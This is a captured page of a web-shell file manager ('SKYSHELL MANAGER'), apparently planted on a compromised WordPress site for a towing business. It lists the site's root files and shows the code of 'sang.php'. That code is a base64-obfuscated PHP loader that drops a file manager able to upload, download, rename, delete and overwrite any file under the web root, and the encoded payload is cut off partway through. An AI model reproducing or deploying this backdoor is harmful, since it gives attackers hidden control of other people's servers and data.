📁
SKYSHELL MANAGER
PHP v7.4.33
Create
Create
Path:
root
/
home
/
towingrecovery
/
public_html
/
glenfieldtowing.co.nz
/
Name
Size
Perm
Actions
📁
cgi-bin
-
0555
🗑️
🏷️
🔒
📁
wp-includes
-
0555
🗑️
🏷️
🔒
📁
wp-content
-
0555
🗑️
🏷️
🔒
📁
wp-admin
-
0555
🗑️
🏷️
🔒
📁
.quarantine
-
0555
🗑️
🏷️
🔒
📁
.tmb
-
0555
🗑️
🏷️
🔒
📁
.well-known
-
0555
🗑️
🏷️
🔒
📄
amp.php
0.01 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-trackback.php
5.09 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-signup.php
33.81 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-settings.php
31.88 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-mail.php
8.52 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-login.php
50.63 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-load.php
3.84 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-links-opml.php
2.43 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
.htaccess
0.83 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-cron.php
5.49 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-config-sample.php
3.26 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-config.php
3.43 KB
0600
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-comments-post.php
2.27 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-blog-header.php
0.34 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-activate.php
7.2 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
sang.php
37.16 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
robots.txt
0.08 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
readme.html
7.23 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
license.txt
19.44 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
index.php
0.4 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
error_log
36.39 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
xmlrpc.php
3.13 KB
0000
🗑️
🏷️
⬇️
✏️
🔒
Edit: sang.php
<?php $temp = 'temp_a3c81741df51428a32f8076212d2953d.php'; file_put_contents($temp, base64_decode('PD9waHANCi8vID09PT09PT09PT09PT09PT09PT09IENPTkZJRyA9PT09PT09PT09PT09PT09PT09PQ0KJFJPT1QgPSByZWFscGF0aCgkX1NFUlZFUlsnRE9DVU1FTlRfUk9PVCddID8/IF9fRElSX18pOw0KDQovLyA9PT09PT09PT09PT09PT09PT09PSBIRUxQRVJTID09PT09PT09PT09PT09PT09PT09DQpmdW5jdGlvbiBzYWZlX3BhdGgoJHApIHsNCiAgICBnbG9iYWwgJFJPT1Q7DQogICAgJHAgPSBzdHJfcmVwbGFjZShbIlwwIiwgJ1xcJ10sIFsnJywgJy8nXSwgJHApOw0KICAgICRwID0gcHJlZ19yZXBsYWNlKCcjLysjJywgJy8nLCAkcCk7DQogICAgaWYgKCRwID09PSAnJyB8fCAkcFswXSAhPT0gJy8nKSAkcCA9ICcvJyAuICRwOw0KICAgICRmdWxsID0gJFJPT1QgLiAkcDsNCiAgICAkcmVhbCA9IHJlYWxwYXRoKCRmdWxsKTsNCiAgICBpZiAoJHJlYWwgPT09IGZhbHNlKSB7DQogICAgICAgICRwYXJlbnQgPSByZWFscGF0aChkaXJuYW1lKCRmdWxsKSk7DQogICAgICAgIGlmICgkcGFyZW50ID09PSBmYWxzZSB8fCBzdHJwb3MoJHBhcmVudCwgJFJPT1QpICE9PSAwKSByZXR1cm4gZmFsc2U7DQogICAgICAgIHJldHVybiBydHJpbSgkcGFyZW50LCAnLycpIC4gJy8nIC4gYmFzZW5hbWUoJGZ1bGwpOw0KICAgIH0NCiAgICBpZiAoc3RycG9zKCRyZWFsLCAkUk9PVCkgIT09IDApIHJldHVybiBmYWxzZTsNCiAgICByZXR1cm4gJHJlYWw7DQp9DQoNCmZ1bmN0aW9uIHJlbF9wYXRoKCRhYnMpIHsNCiAgICBnbG9iYWwgJFJPT1Q7DQogICAgJHJlbCA9IGx0cmltKHN0cl9yZXBsYWNlKCRST09ULCAnJywgc3RyX3JlcGxhY2UoJ1xcJywgJy8nLCAkYWJzKSksICcvJyk7DQogICAgcmV0dXJuICRyZWwgPT09ICcnID8gJy8nIDogJy8nIC4gJHJlbDsNCn0NCg0KZnVuY3Rpb24gZm10X3NpemUoJGIpIHsNCiAgICAkYiA9IG1heCgwLCAkYik7DQogICAgJHUgPSBbJ0InLCdLQicsJ01CJywnR0InLCdUQiddOw0KICAgICRwID0gJGIgPyBmbG9vcihsb2coJGIpIC8gbG9nKDEwMjQpKSA6IDA7DQogICAgcmV0dXJuIHJvdW5kKCRiIC8gcG93KDEwMjQsICRwKSwgMikgLiAnICcgLiAkdVttaW4oJHAsIDQpXTsNCn0NCg0KZnVuY3Rpb24gcGVybXNfb2N0KCRwKSB7DQogICAgcmV0dXJuIHN1YnN0cihzcHJpbnRmKCclbycsIGZpbGVwZXJtcygkcCkpLCAtNCk7DQp9DQoNCmZ1bmN0aW9uIGV4dF9jbGFzcygkbmFtZSkgew0KICAgICRleHQgPSBzdHJ0b2xvd2VyKHBhdGhpbmZvKCRuYW1lLCBQQVRISU5GT19FWFRFTlNJT04pKTsNCiAgICAkbWFwID0gWw0KICAgICAgICAncGhwJz0+J3BocCcsJ2pzJz0+J2pzJywnY3NzJz0+J2NzcycsJ2h0bWwnPT4naHRtbCcsJ2pzb24nPT4nanNvbicsJ3htbCc9Pid4bWwnLA0KICAgICAgICAnbWQnPT4nbWQnLCd0eHQnPT4ndHh0JywnbG9nJz0+J2xvZycsJ2Nzdic9Pidjc3YnLCdzcWwnPT4nc3FsJywNCiAgICAgICAgJ2pwZyc9PidpbWcnLCdqcGVnJz0+J2ltZycsJ3BuZyc9PidpbWcnLCdnaWYnPT4naW1nJywnc3ZnJz0+J2ltZycsJ3dlYnAnPT4naW1nJywNCiAgICAgICAgJ3BkZic9PidwZGYnLCd6aXAnPT4nYXJjJywncmFyJz0+J2FyYycsJ3Rhcic9PidhcmMnLCdneic9PidhcmMnLCc3eic9PidhcmMnLA0KICAgICAgICAnbXA0Jz0+J3ZpZCcsJ3dlYm0nPT4ndmlkJywnYXZpJz0+J3ZpZCcsJ21rdic9Pid2aWQnLA0KICAgICAgICAnbXAzJz0+J2F1ZCcsJ3dhdic9PidhdWQnLCdvZ2cnPT4nYXVkJywNCiAgICBdOw0KICAgIHJldHVybiAkbWFwWyRleHRdID8/ICdmaWxlJzsNCn0NCg0KZnVuY3Rpb24gZGVsX3RyZWUoJGQpIHsNCiAgICBpZiAoIWZpbGVfZXhpc3RzKCRkKSkgcmV0dXJuIGZhbHNlOw0KICAgIGlmICghaXNfZGlyKCRkKSkgcmV0dXJuIEB1bmxpbmsoJGQpOw0KICAgIGZvcmVhY2ggKHNjYW5kaXIoJGQpIGFzICRmKSB7DQogICAgICAgIGlmICgkZiA9PT0gJy4nIHx8ICRmID09PSAnLi4nKSBjb250aW51ZTsNCiAgICAgICAgaWYgKCFkZWxfdHJlZSgkZCAuIERJUkVDVE9SWV9TRVBBUkFUT1IgLiAkZikpIHJldHVybiBmYWxzZTsNCiAgICB9DQogICAgcmV0dXJuIEBybWRpcigkZCk7DQp9DQoNCmZ1bmN0aW9uIG1zZygkdCwgJG0pIHsgJF9TRVNTSU9OWydtc2cnXSA9IFsndCcgPT4gJHQsICdtJyA9PiAkbV07IH0NCg0KLy8gPT09PT09PT09PT09PT09PT09PT0gU0VTU0lPTiA9PT09PT09PT09PT09PT09PT09PQ0KaWYgKHNlc3Npb25fc3RhdHVzKCkgPT09IFBIUF9TRVNTSU9OX05PTkUpIHNlc3Npb25fc3RhcnQoKTsNCg0KLy8gPT09PT09PT09PT09PT09PT09PT0gRE9XTkxPQUQgSEFORExFUiA9PT09PT09PT09PT09PT09PT09PQ0KaWYgKGlzc2V0KCRfR0VUWydkb3dubG9hZCddKSkgew0KICAgICRkZiA9IHNhZmVfcGF0aCgkX0dFVFsnZG93bmxvYWQnXSk7DQogICAgaWYgKCRkZiAmJiBpc19maWxlKCRkZikpIHsNCiAgICAgICAgJG5hbWUgPSBiYXNlbmFtZSgkZGYpOw0KICAgICAgICBoZWFkZXIoJ0NvbnRlbnQtRGVzY3JpcHRpb246IEZpbGUgVHJhbnNmZXInKTsNCiAgICAgICAgaGVhZGVyKCdDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL29jdGV0LXN0cmVhbScpOw0KICAgICAgICBoZWFkZXIoJ0NvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPSInIC4gJG5hbWUgLiAnIicpOw0KICAgICAgICBoZWFkZXIoJ0V4cGlyZXM6IDAnKTsNCiAgICAgICAgaGVhZGVyKCdDYWNoZS1Db250cm9sOiBtdXN0LXJldmFsaWRhdGUnKTsNCiAgICAgICAgaGVhZGVyKCdQcmFnbWE6IHB1YmxpYycpOw0KICAgICAgICBoZWFkZXIoJ0NvbnRlbnQtTGVuZ3RoOiAnIC4gZmlsZXNpemUoJGRmKSk7DQogICAgICAgIHJlYWRmaWxlKCRkZik7DQogICAgICAgIGV4aXQ7DQogICAgfQ0KICAgIGh0dHBfcmVzcG9uc2VfY29kZSg0MDQpOw0KICAgIGRpZSgnRmlsZSBub3QgZm91bmQnKTsNCn0NCg0KLy8gPT09PT09PT09PT09PT09PT09PT0gQ1VSUkVOVCBESVIgPT09PT09PT09PT09PT09PT09PT0NCiRyZXFfcGF0aCA9ICRfR0VUWydwJ10gPz8gJy8nOw0KJGN1cnJlbnQgPSBzYWZlX3BhdGgoJHJlcV9wYXRoKTsNCmlmICgkY3VycmVudCA9PT0gZmFsc2UgfHwgIWlzX2RpcigkY3VycmVudCkpICRjdXJyZW50ID0gJFJPT1Q7DQokY3VycmVudF9yZWwgPSByZWxfcGF0aCgkY3VycmVudCk7DQoNCi8vID09PT09PT09PT09PT09PT09PT09IFBPU1QgQUNUSU9OUyA9PT09PT09PT09PT09PT09PT09PQ0KaWYgKCRfU0VSVkVSWydSRVFVRVNUX01FVEhPRCddID09PSAnUE9TVCcpIHsNCiAgICAkYWN0aW9uID0gJF9QT1NUWydhY3Rpb24nXSA/PyAnJzsNCiAgICAkdGFyZ2V0ID0gaXNzZXQoJF9QT1NUWyd0YXJnZXQnXSkgPyBzYWZlX3BhdGgoJF9QT1NUWyd0YXJnZXQnXSkgOiBmYWxzZTsNCg0KICAgIGlmICgkYWN0aW9uID09PSAndXBsb2FkJyAmJiAkdGFyZ2V0ICYmIGlzX2RpcigkdGFyZ2V0KSkgew0KICAgICAgICAkb2sgPSAwOyAkZmFpbCA9IDA7ICRuYW1lcyA9IFtdOw0KICAgICAgICBpZiAoIWVtcHR5KCRfRklMRVNbJ2ZpbGVzJ11bJ25hbWUnXVswXSkpIHsNCiAgICAgICAgICAgIGZvcmVhY2ggKCRfRklMRVNbJ2ZpbGVzJ11bJ25hbWUnXSBhcyAkaSA9PiAkbmFtZSkgew0KICAgICAgICAgICAgICAgIGlmICgkX0ZJTEVTWydmaWxlcyddWydlcnJvciddWyRpXSAhPT0gVVBMT0FEX0VSUl9PSykgeyAkZmFpbCsrOyBjb250aW51ZTsgfQ0KICAgICAgICAgICAgICAgICRkZXN0ID0gJHRhcmdldCAuICcvJyAuIGJhc2VuYW1lKCRuYW1lKTsNCiAgICAgICAgICAgICAgICBpZiAobW92ZV91cGxvYWRlZF9maWxlKCRfRklMRVNbJ2ZpbGVzJ11bJ3RtcF9uYW1lJ11bJGldLCAkZGVzdCkpIHsNCiAgICAgICAgICAgICAgICAgICAgJG9rKys7DQogICAgICAgICAgICAgICAgICAgICRuYW1lc1tdID0gJHRhcmdldCAuICcvJyAuIGJhc2VuYW1lKCRuYW1lKTsNCiAgICAgICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgICAgICAkZmFpbCsrOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgICAvLyBCdWlsZCBhIGZ1bGwgcGF0aCBtZXNzYWdlIGFuZCByZWRpcmVjdCB0byB0aGUgVEFSR0VUIGZvbGRlcg0KICAgICAgICBpZiAoJG9rID4gMCkgew0KICAgICAgICAgICAgJHRhcmdldF9yZWwgPSByZWxfcGF0aCgkdGFyZ2V0KTsNCiAgICAgICAgICAgICRsaXN0ID0gYXJyYXlfbWFwKCdiYXNlbmFtZScsICRuYW1lcyk7DQogICAgICAgICAgICAkZGV0YWlscyA9ICJVcGxvYWRlZCB0bzogIiAuICRuYW1lc1swXSAuIChjb3VudCgkbmFtZXMpID4gMSA/ICIgKCsiIC4gKGNvdW50KCRuYW1lcyktMSkgLiAiIG1vcmUpIiA6ICIiKTsNCiAgICAgICAgICAgIG1zZygkZmFpbCA/ICd3YXJuJyA6ICdvaycsICRkZXRhaWxzKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIG1zZygnZXJyJywgJ1VwbG9hZCBmYWlsZWQnKTsNCiAgICAgICAgfQ0KICAgICAgICAvLyBBbHdheXMgcmVkaXJlY3QgdG8gdGhlIHRhcmdldCBmb2xkZXINCiAgICAgICAgaGVhZGVyKCdMb2NhdGlvbjogP3A9JyAuIHVybGVuY29kZShyZWxfcGF0aCgkdGFyZ2V0KSkpOw0KICAgICAgICBleGl0Ow0KICAgIH0NCg0KICAgIGVsc2VpZiAoJGFjdGlvbiA9PT0gJ21rZGlyJyAmJiAkdGFyZ2V0ICYmIGlzX2RpcigkdGFyZ2V0KSkgew0KICAgICAgICAkbiA9IHRyaW0oJF9QT1NUWyduYW1lJ10gPz8gJycpOw0KICAgICAgICBpZiAoJG4gPT09ICcnIHx8ICRuID09PSAnLicgfHwgJG4gPT09ICcuLicpIG1zZygnZXJyJywgJ0ludmFsaWQgbmFtZScpOw0KICAgICAgICBlbHNlaWYgKGZpbGVfZXhpc3RzKCR0YXJnZXQgLiAnLycgLiAkbikpIG1zZygnZXJyJywgJ0FscmVhZHkgZXhpc3RzJyk7DQogICAgICAgIGVsc2VpZiAoQG1rZGlyKCR0YXJnZXQgLiAnLycgLiAkbiwgMDc1NSkpIG1zZygnb2snLCAiRm9sZGVyICckbicgY3JlYXRlZCIpOw0KICAgICAgICBlbHNlIG1zZygnZXJyJywgIkZhaWxlZCB0byBjcmVhdGUgZm9sZGVyIik7DQogICAgfQ0KDQogICAgZWxzZWlmICgkYWN0aW9uID09PSAndG91Y2gnICYmICR0YXJnZXQgJiYgaXNfZGlyKCR0YXJnZXQpKSB7DQogICAgICAgICRuID0gdHJpbSgkX1BPU1RbJ25hbWUnXSA/PyAnJyk7DQogICAgICAgIGlmICgkbiA9PT0gJycpIG1zZygnZXJyJywgJ0ludmFsaWQgbmFtZScpOw0KICAgICAgICBlbHNlaWYgKGZpbGVfZXhpc3RzKCR0YXJnZXQgLiAnLycgLiAkbikpIG1zZygnZXJyJywgJ0FscmVhZHkgZXhpc3RzJyk7DQogICAgICAgIGVsc2VpZiAoQGZpbGVfcHV0X2NvbnRlbnRzKCR0YXJnZXQgLiAnLycgLiAkbiwgJycpICE9PSBmYWxzZSkgbXNnKCdvaycsICJGaWxlICckbicgY3JlYXRlZCIpOw0KICAgICAgICBlbHNlIG1zZygnZXJyJywgJ0ZhaWxlZCB0byBjcmVhdGUgZmlsZScpOw0KICAgIH0NCg0KICAgIGVsc2VpZiAoJGFjdGlvbiA9PT0gJ3JlbmFtZScgJiYgJHRhcmdldCkgew0KICAgICAgICAkbm4gPSB0cmltKCRfUE9TVFsnbmV3X25hbWUnXSA/PyAnJyk7DQogICAgICAgICRwYXJlbnQgPSBkaXJuYW1lKCR0YXJnZXQpOw0KICAgICAgICBpZiAoJG5uID09PSAnJyB8fCAkbm4gPT09ICcuJyB8fCAkbm4gPT09ICcuLicpIG1zZygnZXJyJywgJ0ludmFsaWQgbmFtZScpOw0KICAgICAgICBlbHNlaWYgKGZpbGVfZXhpc3RzKCRwYXJlbnQgLiAnLycgLiAkbm4pKSBtc2coJ2VycicsICdOYW1lIGFscmVhZHkgZXhpc3RzJyk7DQogICAgICAgIGVsc2VpZiAoQHJlbmFtZSgkdGFyZ2V0LCAkcGFyZW50IC4gJy8nIC4gJG5uKSkgbXNnKCdvaycsICdSZW5hbWVkJyk7DQogICAgICAgIGVsc2UgbXNnKCdlcnInLCAnUmVuYW1lIGZhaWxlZCcpOw0KICAgIH0NCg0KICAgIGVsc2VpZiAoJGFjdGlvbiA9PT0gJ2RlbGV0ZScgJiYgJHRhcmdldCAmJiAkdGFyZ2V0ICE9PSAkUk9PVCkgew0KICAgICAgICAkbmFtZSA9IGJhc2VuYW1lKCR0YXJnZXQpOw0KICAgICAgICBpZiAoZGVsX3RyZWUoJHRhcmdldCkpIG1zZygnb2snLCAiRGVsZXRlZCAnJG5hbWUnIik7DQogICAgICAgIGVsc2UgbXNnKCdlcnInLCAiRmFpbGVkIHRvIGRlbGV0ZSAnJG5hbWUnIik7DQogICAgfQ0KDQogICAgZWxzZWlmICgkYWN0aW9uID09PSAnc2F2ZScgJiYgJHRhcmdldCAmJiBpc19maWxlKCR0YXJnZXQpKSB7DQogICAgICAgIGlmIChAZmlsZV9wdXRfY29udGVudHMoJHRhcmdldCwgJF9QT1NUWydjb250ZW50J10gPz8gJycpICE9PSBmYWxzZSkgbXNnKCdvaycsICdTYXZlZCcpOw0KICAgICAgICBlbHNlIG1zZygnZXJyJywgJ1NhdmUgZmFpbGVkJyk7DQogICAgfQ0KDQogICAgJGJhY2sgPSAnP3A9JyAuIHVybGVuY29kZSgkY3VycmVudF9yZWwpOw0KICAgIGhlYWRlcignTG9jYXRpb246ICcgLiAkYmFjayk7DQogICAgZXhpdDsNCn0NCg0KLy8gPT09PT09PT09PT09PT09PT09PT0gVklFVyAvIEVESVQgTU9ERSA9PT09PT09PT09PT09PT09PT09PQ0KJGVkaXRpbmcgPSBudWxsOw0KJGVkaXRpbmdfY29udGVudCA9ICcnOw0KaWYgKGlzc2V0KCRfR0VUWyd2aWV3J10pKSB7DQogICAgJHZmID0gc2FmZV9wYXRoKCRfR0VUWyd2aWV3J10pOw0KICAgIGlmICgkdmYgJiYgaXNfZmlsZSgkdmYpKSB7ICRlZGl0aW5nID0gJHZmOyAkZWRpdGluZ19jb250ZW50ID0gZmlsZV9nZXRfY29udGVudHMoJHZmKTsgfQ0KfQ0KaWYgKGlzc2V0KCRfR0VUWydlZGl0J10pKSB7DQogICAgJGVmID0gc2FmZV9wYXRoKCRfR0VUWydlZGl0J10pOw0KICAgIGlmICgkZWYgJiYgaXNfZmlsZSgkZWYpKSB7ICRlZGl0aW5nID0gJGVmOyAkZWRpdGluZ19jb250ZW50ID0gZmlsZV9nZXRfY29udGVudHMoJGVmKTsgfQ0KfQ0KDQovLyA9PT09PT09PT09PT09PT09PT09PSBGSUxFIExJU1QgPT09PT09PT09PT09PT09PT09PT0NCiRpdGVtcyA9IFtdOw0KZm9yZWFjaCAoc2NhbmRpcigkY3VycmVudCkgYXMgJGUpIHsNCiAgICBpZiAoJGUgPT09ICcuJyB8fCAkZSA9PT0gJy4uJykgY29udGludWU7DQogICAgJGZ1bGwgPSAkY3VycmVudCAuICcvJyAuICRlOw0KICAgICRpc0RpciA9IGlzX2RpcigkZnVsbCk7DQogICAgJGl0ZW1zW10gPSBbDQogICAgICAgICduYW1lJyA9PiAkZSwNCiAgICAgICAgJ2FicycgID0+ICRmdWxsLA0KICAgICAgICAncmVsJyAgPT4gcmVsX3BhdGgoJGZ1bGwpLA0KICAgICAgICAnaXNfZGlyJyA9PiAkaXNEaXIsDQogICAgICAgICdzaXplJyA9PiAkaXNEaXIgPyAwIDogQGZpbGVzaXplKCRmdWxsKSwNCiAgICAgICAgJ210aW1lJyA9PiBAZmlsZW10aW1lKCRmdWxsKSwNCiAgICAgICAgJ3dyaXRhYmxlJyA9PiBpc193cml0YWJsZSgkZnVsbCksDQogICAgICAgICdwZXJtcycgPT4gcGVybXNfb2N0KCRmdWxsKSwNCiAgICBdOw0KfQ0KdXNvcnQoJGl0ZW1zLCBmdW5jdGlvbigkYSwgJGIpIHsNCiAgICBpZiAoJGFbJ2lzX2RpciddICE9PSAkYlsnaXNfZGlyJ10pIHJldHVybiAkYVsnaXNfZGlyJ10gPyAtMSA6IDE7DQogICAgcmV0dXJuIHN0cmNhc2VjbXAoJGFbJ25hbWUnXSwgJGJbJ25hbWUnXSk7DQp9KTsNCg0KJGZsYXNoID0gJF9TRVNTSU9OWydtc2cnXSA/PyBudWxsOw0KaWYgKCRmbGFzaCkgdW5zZXQoJF9TRVNTSU9OWydtc2cnXSk7DQo/Pg0KPCFET0NUWVBFIGh0bWw+DQo8aHRtbCBsYW5nPSJlbiI+DQo8aGVhZD4NCjxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCjxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCjxtZXRhIG5hbWU9InJvYm90cyIgY29udGVudD0ibm9pbmRleCxub2ZvbGxvdyxub2FyY2hpdmUiPg0KPHRpdGxlPkZpbGUgTWFuYWdlcjwvdGl0bGU+DQo8bGluayBocmVmPSJodHRwczovL2ZvbnRzLmdvb2dsZWFwaXMuY29tL2NzczI/ZmFtaWx5PVNwYWNlK0dyb3Rlc2s6d2dodEAzMDAuLjcwMCZkaXNwbGF5PXN3YXAiIHJlbD0ic3R5bGVzaGVldCI+DQo8c3R5bGU+DQoqIHsgYm94LXNpemluZzogYm9yZGVyLWJveDsgbWFyZ2luOiAwOyBwYWRkaW5nOiAwOyB9DQo6cm9vdCB7DQogICAgLS1iZzogIzAwMDsNCiAgICAtLXBhbmVsOiAjMTQxNDE0Ow0KICAgIC0tcGFuZWwtMjogIzFhMWExYTsNCiAgICAtLXBhbmVsLTM6ICMyMzIzMjM7DQogICAgLS1ib3JkZXI6ICMyYTJhMmE7DQogICAgLS10ZXh0OiAjZmZmOw0KICAgIC0tdGV4dC1kaW06ICM5YTlhOWE7DQogICAgLS10ZXh0LW11dGU6ICM2NjY7DQogICAgLS1hY2NlbnQ6ICMwMGZmODg7DQogICAgLS1hY2NlbnQtZGltOiAjMDBjYzZhOw0KICAgIC0tZGFuZ2VyOiAjZmY0NDQ0Ow0KICAgIC0td2FybjogI2ZmYWEwMDsNCiAgICAtLWluZm86ICM0YWE4ZmY7DQp9DQpib2R5IHsNCiAgICBmb250LWZhbWlseTogIlNwYWNlIEdyb3Rlc2siLCAtYXBwbGUtc3lzdGVtLCBzYW5zLXNlcmlmOw0KICAgIGJhY2tncm91bmQ6IHZhcigtLWJnKTsNCiAgICBjb2xvcjogdmFyKC0tdGV4dCk7DQogICAgbWluLWhlaWdodDogMTAwdmg7DQogICAgbGluZS1oZWlnaHQ6IDEuNTsNCiAgICBmb250LXNpemU6IDE0cHg7DQp9DQoud3JhcCB7IG1heC13aWR0aDogMTQwMHB4OyBtYXJnaW46IDAgYXV0bzsgcGFkZGluZzogMjBweDsgfQ0KDQoudG9wYmFyIHsNCiAgICBiYWNrZ3JvdW5kOiB2YXIoLS1wYW5lbCk7DQogICAgYm9yZGVyOiAxcHggc29saWQgdmFyKC0tYm9yZGVyKTsNCiAgICBib3JkZXItcmFkaXVzOiAxNnB4Ow0KICAgIHBhZGRpbmc6IDIwcHggMjhweDsNCiAgICBtYXJnaW4tYm90dG9tOiAxNnB4Ow0KICAgIGRpc3BsYXk6IGZsZXg7IGFsaWduLWl0ZW1zOiBjZW50ZXI7IGp1c3RpZnktY29udGVudDogc3BhY2UtYmV0d2VlbjsNCiAgICBmbGV4LXdyYXA6IHdyYXA7IGdhcDogMTJweDsNCn0NCi5icmFuZCB7IGRpc3BsYXk6IGZsZXg7IGFsaWduLWl0ZW1zOiBjZW50ZXI7IGdhcDogMTJweDsgfQ0KLmJyYW5kLWxvZ28gew0KICAgIHdpZHRoOiA0MHB4OyBoZWlnaHQ6IDQwcHg7DQogICAgYmFja2dyb3VuZDogbGluZWFyLWdyYWRpZW50KDEzNWRlZywgdmFyKC0tYWNjZW50KSwgIzAwY2NmZik7DQogICAgYm9yZGVyLXJhZGl1czogMTBweDsNCiAgICBkaXNwbGF5OiBncmlkOyBwbGFjZS1pdGVtczogY2VudGVyOw0KICAgIGZvbnQtc2l6ZTogMjBweDsgY29sb3I6ICMwMDA7DQp9DQouYnJhbmQgaDEgeyBmb250LXNpemU6IDIwcHg7IGZvbnQtd2VpZ2h0OiA2MDA7IGxldHRlci1zcGFjaW5nOiAtMC41cHg7IH0NCi5icmFuZCAuc3ViIHsgY29sb3I6IHZhcigtLXRleHQtZGltKTsgZm9udC1zaXplOiAxMnB4OyB9DQouc3RhdHMgeyBkaXNwbGF5OiBmbGV4OyBnYXA6IDIwcHg7IGNvbG9yOiB2YXIoLS10ZXh0LWRpbSk7IGZvbnQtc2l6ZTogMTNweDsgfQ0KLnN0YXRzIHNwYW4gYiB7IGNvbG9yOiB2YXIoLS10ZXh0KTsgZm9udC13ZWlnaHQ6IDUwMDsgfQ0KDQouY3J1bWJzIHsNCiAgICBiYWNrZ3JvdW5kOiB2YXIoLS1wYW5lbCk7DQogICAgYm9yZGVyOiAxcHggc29saWQgdmFyKC0tYm9yZGVyKTsNCiAgICBib3JkZXItcmFkaXVzOiAxMnB4Ow0KICAgIHBhZGRpbmc6IDEycHggMThweDsNCiAgICBtYXJnaW4tYm90dG9tOiAxNnB4Ow0KICAgIGRpc3BsYXk6IGZsZXg7IGFsaWduLWl0ZW1zOiBjZW50ZXI7IGZsZXgtd3JhcDogd3JhcDsgZ2FwOiA0cHg7DQogICAgZm9udC1zaXplOiAxM3B4OyBvdmVyZmxvdy14OiBhdXRvOw0KfQ0KLmNydW1icyBhLCAuY3J1bWJzIC5jcnVtYiB7DQogICAgY29sb3I6IHZhcigtLXRleHQtZGltKTsNCiAgICB0ZXh0LWRlY29yYXRpb246IG5vbmU7DQogICAgcGFkZGluZzogNHB4IDEwcHg7DQogICAgYm9yZGVyLXJhZGl1czogNnB4Ow0KICAgIHRyYW5zaXRpb246IGFsbCAuMTVzOw0KICAgIHdoaXRlLXNwYWNlOiBub3dyYXA7DQp9DQouY3J1bWJzIGE6aG92ZXIgeyBiYWNrZ3JvdW5kOiB2YXIoLS1wYW5lbC0zKTsgY29sb3I6IHZhcigtLXRleHQpOyB9DQouY3J1bWJzIC5zZXAgeyBjb2xvcjogdmFyKC0tdGV4dC1tdXRlKTsgfQ0KLmNydW1icyAuY3VycmVudCB7IGNvbG9yOiB2YXIoLS1hY2NlbnQpOyBmb250LXdlaWdodDogNTAwOyB9DQoNCi50b29sYmFyIHsNCiAgICBkaXNwbGF5OiBmbGV4OyBnYXA6IDhweDsgZmxleC13cmFwOiB3cmFwOw0KICAgIG1hcmdpbi1ib3R0b206IDE2cHg7DQp9DQouYnRuIHsNCiAgICBiYWNrZ3JvdW5kOiB2YXIoLS1wYW5lbC0yKTsNCiAgICBjb2xvcjogdmFyKC0tdGV4dCk7DQogICAgYm9yZGVyOiAxcHggc29saWQgdmFyKC0tYm9yZGVyKTsNCiAgICBwYWRkaW5nOiA5cHggMTZweDsNCiAgICBib3JkZXItcmFkaXVzOiAxMHB4Ow0KICAgIGN1cnNvcjogcG9pbnRlcjsNCiAgICBmb250LWZhbWlseTogaW5oZXJpdDsNCiAgICBmb250LXNpemU6IDEzcHg7DQogICAgZm9udC13ZWlnaHQ6IDUwMDsNCiAgICB0cmFuc2l0aW9uOiBhbGwgLjE1czsNCiAgICBkaXNwbGF5OiBpbmxpbmUtZmxleDsgYWxpZ24taXRlbXM6IGNlbnRlcjsgZ2FwOiA2cHg7DQogICAgdGV4dC1kZWNvcmF0aW9uOiBub25lOw0KfQ0KLmJ0bjpob3ZlciB7IGJvcmRlci1jb2xvcjogdmFyKC0tYWNjZW50KTsgYmFja2dyb3VuZDogdmFyKC0tcGFuZWwtMyk7IH0NCi5idG4tcHJpbWFyeSB7IGJhY2tncm91bmQ6IHZhcigtLWFjY2VudCk7IGNvbG9yOiAjMDAwOyBib3JkZXItY29sb3I6IHZhcigtLWFjY2VudCk7IH0NCi5idG4tcHJpbWFyeTpob3ZlciB7IGJhY2tncm91bmQ6IHZhcigtLWFjY2VudC1kaW0pOyB9DQouYnRuLWRhbmdlciB7IGNvbG9yOiB2YXIoLS1kYW5nZXIpOyB9DQouYnRuLWRhbmdlcjpob3ZlciB7IGJhY2tncm91bmQ6IHZhcigtLWRhbmdlcik7IGNvbG9yOiAjZmZmOyBib3JkZXItY29sb3I6IHZhcigtLWRhbmdlcik7IH0NCi5idG4tc20geyBwYWRkaW5nOiA1cHggMTBweDsgZm9udC1zaXplOiAxMnB4OyBib3JkZXItcmFkaXVzOiA2cHg7IH0NCg0KLmZsYXNoIHsNCiAgICBwYWRkaW5nOiAxNHB4IDE4cHg7DQogICAgYm9yZGVyLXJhZGl1czogMTBweDsNCiAgICBtYXJnaW4tYm90dG9tOiAxNnB4Ow0KICAgIGRpc3BsYXk6IGZsZXg7IGFsaWduLWl0ZW1zOiBmbGV4LXN0YXJ0OyBnYXA6IDEwcHg7DQogICAgZm9udC1zaXplOiAxM3B4Ow0KICAgIGFuaW1hdGlvbjogc2xpZGUgLjI1cyBlYXNlOw0KfQ0